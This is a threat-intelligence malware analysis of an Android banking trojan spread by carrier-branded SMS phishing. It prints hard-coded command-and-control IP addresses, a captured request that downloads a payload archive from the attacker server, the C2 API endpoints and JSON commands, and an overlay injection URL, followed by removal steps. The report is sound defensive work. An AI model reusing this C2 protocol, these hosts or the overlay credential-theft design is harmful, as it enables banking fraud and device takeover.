Anatomy of an Android Banking Trojan

Nokia Threat Intelligence Lab

December 2017

In November 2017 Nokia’s Threat Intelligence Lab investigated a new Banking Trojan that was observed in a number of our NES\(^1\) product deployments.

The malware attempts to spread from one device to another by sending SMS text messages to all the owner’s contacts. This is not unusual as phishing attacks use this technique to propagate quite often. This message, however, was a well-crafted message targeting the carrier’s customers, using the mobile carrier’s corporate links and logos to impersonate their corporate image. A simple yet effective approach to deceive a subscriber (receiving these text messages) into following the link and downloading the malicious application.

In addition to the use of the carrier’s name and logo in the phishing attack, this malware also:

- Acquires “device administration” permission to make it very difficult to uninstall
- Uses the “SYSTEM_ALERT_WINDOW” permission to overwrite banking login screens and steal access credentials and passwords
- Can send and intercept SMS text messages
- Uses a sophisticated encrypted command and control protocol
- Supports theft of credentials from a number of different banks and payment services

This document outlines observations made by examining the reported sample in the Nokia Threat Intelligence Lab. What harm does it do?

**Report malware sample**

The malware sample shared masqueraded as an MMS app distributed by the mobile carrier for operation in their network. The carrier’s name and logo were used in the phishing attack and in the icon associated with the Trojan that contained the malware. This sample was submitted to VirusTotal for an immediate report on Anti-Virus vendors ability to detect. The initial submission revealed that only a couple vendors detect this Android applications as malware. Current detections are up considerably as can be seen in Figure 1.

**Figure 1. Malware VirusTotal Report**
Static Analysis

Static analysis and standard decompiling of the APK binary proved fruitless as the application is a highly obfuscated program with filenames, function, text strings and variables all unreadable without significant de-obfuscation and internal decoding (in the case of embedded strings).

The infection vector most subscribers are subjected to was a text message that appeared to be from a friend or acquaintance they know and can be seen in Figure 2. It should be noted that the location indicated is no longer responding when visited. The download link and the malware binary are changing constantly in attempts to stay ahead of security software used to detect or prevent downloading.

Clicking and following the link embedded in the text message results in the download of this malicious application.

Figure 2. SPAM text Message from friend
Dynamic Analysis

When downloaded to the phone, the malicious application’s icon contained the logo of the mobile carrier reducing the suspicion that this app might be malicious.

Installation

The malware sample was run on both a physical device and a virtual Android phone. The sample responded the same in both environments, indicating there are most likely little or no anti-sandboxing techniques built into the app.

After downloading and starting the app, the user is asked to grant the device administration permissions seen in Figure 3. If the user selects “CANCEL”, they are prompted with the same activation screen repeatedly until resigning to the fact you simply cannot cancel the installation and click “ACTIVATE” to continue.

Only five of the many permissions requested are displayed on the activation screen. In addition to device administrator the app requires the following permissions:

- READ_PHONE_STATE
- RECEIVE_BOOT_COMPLETED, WAKE_LOCK
- GET_ACCOUNTS, GET_TASKS
- INTERNET
- RECEIVE_SMS, READ_SMS, WRITE_SMS, SEND_SMS
- ACCESS_COARSE_LOCATION, ACCESS_FINE_LOCATION,
- USES_POLICY_FORCE_LOCK, SYSTEM_ALERT_WINDOW
- VIBRATE
- AUTHENTICATE_ACCOUNTS
- CALL_PHONE
- READ_CONTACTS, WRITE_SETTINGS
- ACCESS_NETWORK_STATE, ACCESS_WIFI_STATE, CHANGE_WIFI_STATE, CHANGE_NETWORK_STATE
- WRITE_EXTERNAL_STORAGE, READ_EXTERNAL_STORAGE
Two of the most troubling permissions are the fact this app requests Device Administrator, making it harder than most to uninstall, and the SYSTEM_ALERT_WINDOW permission which we will see later when attempting to uninstall the malicious app.

After activation, the puppy picture seen in Figure 4 is displayed to the user. At this point, the only option is to click on the CLOSE button. On closing, the picture will disappear from the screen and very shortly after, the application icon will disappear from the application pane. The application would appear (to unsuspecting users) to have disappeared, but it continues to run as a background service. This can be seen by viewing the running apps.
Run-time Activities

After the cute puppy picture disappears from the user’s screen, the device is infected. The malware immediately communicates to its command and control server at one of:

- 94.130.109.92
- 94.130.148.145
- 94.130.151.145
- 94.130.109.184

These IP addresses would all appear to be hard coded into the malware itself as there are no DNS lookups for hosts prior to this communication. Static analysis does not easily reveal this due to the extensive level of obfuscation used within the app itself.

Although a non-standard port, the malware is using SSL (TLSv1) encryption to communicate with its command and control. This communication is repeated periodically: a typical heartbeat behavior. This heartbeat has been seen to occur at intervals from once every second to once every 300 seconds and remains consistent as long as the app does not get further instructions form the CnC.
After approximately 30 minutes run-time, the app performs two (identical) HTTP GET operations to the same server as follows;

<table>
<thead>
<tr>
<th>Source IP</th>
<th>Destination IP</th>
<th>Port</th>
</tr>
</thead>
<tbody>
<tr>
<td>135.121.252.30:39701</td>
<td>94.130.109.184:80</td>
<td>80</td>
</tr>
</tbody>
</table>

GET /arc/archive0911.zip HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; Nexus 5X Build/MMB29Q)
Host: 94.130.109.184
Connection: Keep-Alive
Accept-Encoding: gzip
This IP Address is also hosted by the same German provider as the CnC’s listed above. Both requests are identical, however, the file returned is different in both requests. The first is a simple ZIP file containing a malicious Word document. One can only speculate why a Word document is downloaded to an Android phone: one explanation would be to be sent later as phishing email (SPAM) with the intent of infecting other systems. This action was not observed, as email was not enabled on the test platform. This functionality can, however, be seen in section “Under the Covers” where we look inside the encrypted packets to reveal the malware’s functional behavior.

The second download was another ZIP file. This time the content was unknown as the ZIP file was password protected. Attempts were made to guess the password without success so the true payload and intent is unknown. This sample was submitted to VirusTotal and was reported to be an “Archive.Bomb” by the Baidu AV Scanner. Details can be found at:

https://www.virustotal.com/#/file/546e3ce2d67ba2e6cf51d7d4ae73e9d28c4785e4fece702065dd900338142cca/detection

Under the Covers

As mentioned, the malware encrypts all communication with its command and control in attempts to hide malicious actions. Digging into the encrypted traffic has revealed a sophisticated handshake between infected device and the malware owners as well as the real motivation behind the malware.

CnC Commands

All commands are based on a JSON style data exchange between the infected host and the command and control. Each time a piece of data is sent, another command is received in the response field. As part of the dynamic analysis, the following operations were observed:

1. POST /api/v1/get.php – default link used when checking in with server both for the first time and after a period of quiet time

2. POST /api/v1/set_state.php – link used when responding to a command

3. POST /api/v1/load_ab.php – link used when sending user data (like contact info) to the server
Each operation resulted in a host of different commands and response data being exchanged. These commands included:

4. uploadPhoneNumbers – used to upload contact from the phone
5. changeActivity – used to exchange data used to assist harvesting user data
6. changeArchive – used to download additional malicious payloads
7. changeServer – used to change command and control servers
8. sendSmsAb – used to communicate new SMS phishing message body details to be sent out
9. sendSmsMass – used to communicate a list of phone numbers that were to be sent a specific phishing (SMS) message

Sample of data exchanged

The initial communication with command and control is for communicating the infected device's system level information.

POST /api/v1/get.php

```json
{
    "id": "299b72b3-19f8-44e3-878e-04593ec0264a",
    "info": {
        "admin": true,
        "android": "6.0.1",
        "cell": "xxx xxxx",
        "country": "xx",
        "imei": "xxxxxxxxxxxxxxxxxxxxx",
        "model": "LGE Nexus 5X",
        "number": "xxxxxxxx",
        "permissions": true,
        "socks": "false false ed98425e-58a2-438b-a8d6-5ade524bb8e9",
        "tag": "mms322"
    }
}
```

The response to the initial infection notification was the command to upload all available phone numbers on the infected device.
The contact details on the phone were uploaded using the following command:

```json
{
  "command": {
    "auto": true,
    "command": "uploadPhoneNumbers",
    "id": "XCsZ5hwNpzwQizPoY",
    "params": {
      "ab": true,
      "sms": true
    },
    "timestamp": 1512604878959
  },
  "results": "OK"
}
```

This time the response was a list of app names and associated type, overlay image details and URLs based on what information would be harvested from this app. Content format included some of the following:

```json
{
  "command": {
    "auto": true,
    "command": "changeActivity",
    "id": "u7B7CwGKNiwXu8u7a",
    "state": 200
  }, ...

  "id": "299b72b3-19f8-44e3-878e-04593ec0264a"
}
```
Sophisticated, yes, but what’s it used for?

After examining this data exchange, it becomes quite clear that this malware has multiple purposes. This first is to harvest information from the phone itself and then to propagate itself by sending the same SMS Phishing message to the owner’s contacts.

The next and most significant function is to harvest credentials from banking apps, payment apps, email apps and other vending card apps, when the identified app is launched, by using the associated image and instructions passed down to the malware earlier.

For example, in the last entry above we assume that if the “com.chase.sig.android” (Chase Mobile) App is used, the malware will super-impose the image (See Figure 6 from the associated web link [http://94.130.97.18/injek-2.html](http://94.130.97.18/injek-2.html)) to steal the userid and password and send it to the command and control. It is not hard to believe how unsuspected users could be fooled quite easily into giving away their credentials.
Destination Analysis

By analyzing the raw event destination, we can try to establish a reputation for the CnC IP addresses this malware is visiting. This may also provide insight to other activities happening on these servers that could associate our malware to a specific malware actor/group. VirusTotal can be used to see reputation data on each of the four identified CnC IP addresses.

94.130.109.92 – malicious Android APK/Dex files with this IP Address embedder in them. These malicious files are most often identified by the following alias list: SMSBanker, Android.BankBot, Marcher.c, Spy.Banker.YD.Gen, etc.

94.130.148.145 – malicious Android APK/Dex files with this IP Address embedder in them. These malicious files are most often identified by the following alias list: SMSBanker, Android.BankBot, Marcher.c, Spy.Banker.YD.Gen, etc.

94.130.151.145 - no reputation data available

94.130.109.184 – no reputation data available
Remediation

Two methods for removing the app were attempted; the standard app removal technique and safe-mode app removal. As the app is granted Device Administrator permissions and employs a few different functional and deceptive obstacles, it is not possible to uninstall without putting the phone into “safe-mode”.

Standard App Removal (unsuccessful)

By examining the running app, you will notice that both the “Force Stop” and “Uninstall” buttons are disabled, making removal of this malware more complicated than most normal Android apps. These buttons are disabled as the malicious app gained “Device/Phone Administrator” permissions as part of the installation process. Navigating to the Settings>Security>Device Administrators panel (varies on different Android platforms) you will find either the checkbox or “Deactivate” buttons used to remove the Administrator permission. Touching these buttons will allow you to attempt to remove the app, but this process fails. First the app puts up a dialog asking for the user to confirm “All user data will be deleted”. This trickery is used to get the user to click “Cancel” so their data is not removed and the app retains Administration privileges. Should the user click “OK” the app will repeatedly post the activation screen forcing the user to “ACTIVATE” the app all over again. This screen is not interruptible and results in a vicious cycle of uninstall/install that the user cannot get out of. If the user delays responding to the confirmation dialog, it will simply disappear and the “Deactivate” will fail outright with a notice indicating “operation failed”.

Safe-Mode App Removal (successful)

The app can be successfully removed by booting the phone in “Safe Mode”. This prevents the app from running and allows you to remove the device administrator permission and then uninstall the app. Entering safe-mode may be different for each make/model of Android phone. Please consult the device user guide for instructions on how to start your phone in safe-mode.

After entering safe-mode, proceed to the Setting>Security>Device Administrators panel and touch either the checkbox for the malicious app or the “Deactivate” button to disable the Administrators privilege. The app will again attempt to protect itself by posting a prompt stating that “All user data will be deleted”. Click OK to both prompts. The device administrator permission should now be deactivated.
Navigate to Settings>Application Manager and select the malicious MMS application. The “Uninstall” buttons should now be operational. If not, wait for one minute and retry. Click “Uninstall” to uninstall the malware.